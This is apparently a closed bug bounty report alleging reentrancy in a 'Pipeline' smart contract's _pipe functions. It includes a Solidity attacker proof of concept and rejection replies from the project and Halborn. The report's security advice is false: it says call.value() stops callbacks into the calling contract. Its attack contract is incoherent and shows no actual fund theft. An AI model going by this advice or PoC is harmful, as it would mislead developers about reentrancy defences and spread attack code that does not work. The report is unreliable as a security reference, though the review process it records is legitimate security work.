Reentrancy
Report ID
#14848
Target
Report type
Smart Contract
Impacts
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Has PoC?
Yes
Bug Description
The _pipe and _pipeMem functions call external contracts using the Solidity call function. This function allows a contract to execute a function in another contract and return the result, but it also allows the external contract to execute arbitrary code in the calling contract. This means that if an attacker can control the external contract, they can potentially call back into the original contract and execute arbitrary code or trigger unintended behavior.
Recommendation
To protect against reentrancy attacks, it is important to ensure that any external contract calls are made in a safe manner. One way to do this is by using the call.value() function, which executes the external contract call but does not allow the external contract to call back into the original contract. Another option is to use a mutex or other synchronization mechanism to ensure that the contract is not interrupted while it is executing.
In the code, neither of these measures is taken, which means that the contract is vulnerable to reentrancy attacks. It is recommended to implement measures to prevent reentrancy attacks in order to secure the contract.
Proof of concept
Here is a proof of concept of a reentrancy attack on the _pipe function
pragma solidity =0.7.6;
import "./Pipeline.sol";
// Attacker contract that will call the target contract recursively
contract Attacker {
// Address of the target contract
address target;
// Constructor
constructor(address _target) public {
target = _target;
}
// Fallback function that will be called recursively
function() external payable {
// Call the target contract
Pipeline(target)._pipe(address(this), new bytes(0), msg.value);
// Call the fallback function again to trigger the attack
attack();
}
// Function to trigger the attack
function attack() public {
// Send a small amount of Ether to the attacker contract to trigger the fallback function
address(this).send(1 wei);
}
}To test this proof of concept, deploy the Pipeline contract and then deploy the Attacker contract, passing the address of the Pipeline contract as an argument. Then call the attack function of the Attacker contract to trigger the attack.
This proof of concept demonstrates how an attacker can call the _pipe function of the Pipeline contract recursively, potentially leading to an infinite loop or other unintended behavior. To prevent this type of attack, it is important to implement measures to prevent reentrancy, such as using the call.value() function or a mutex.
BIC Response
This is not a security bug report because the report outlines expected functionality. Pipeline was built with the philosophy that it is not the smart contract's role to protect users against misuse. See the Risk section of the Pipeline whitepaper: https://evmpipeline.org/pipeline.pdf#section.6
Due to these reasons, we are closing the submission and no reward will be issued.
Halborn Response
Yes this is true, however it does not make any sense considering how Pipeline is going to be used. And it is a risk already assumed in the documentation that if there is any funds left in there they can be stolen.Moreover if the attacker controls the destination address, previously introduced by the client, the reentrancy also is meaningless as the damage is evident. But I guess that risk is already assumed as any call to a malicious address.
Nevertheless, I dont come up to a scenario where a called contract from piepeline needs to callback Pipeline.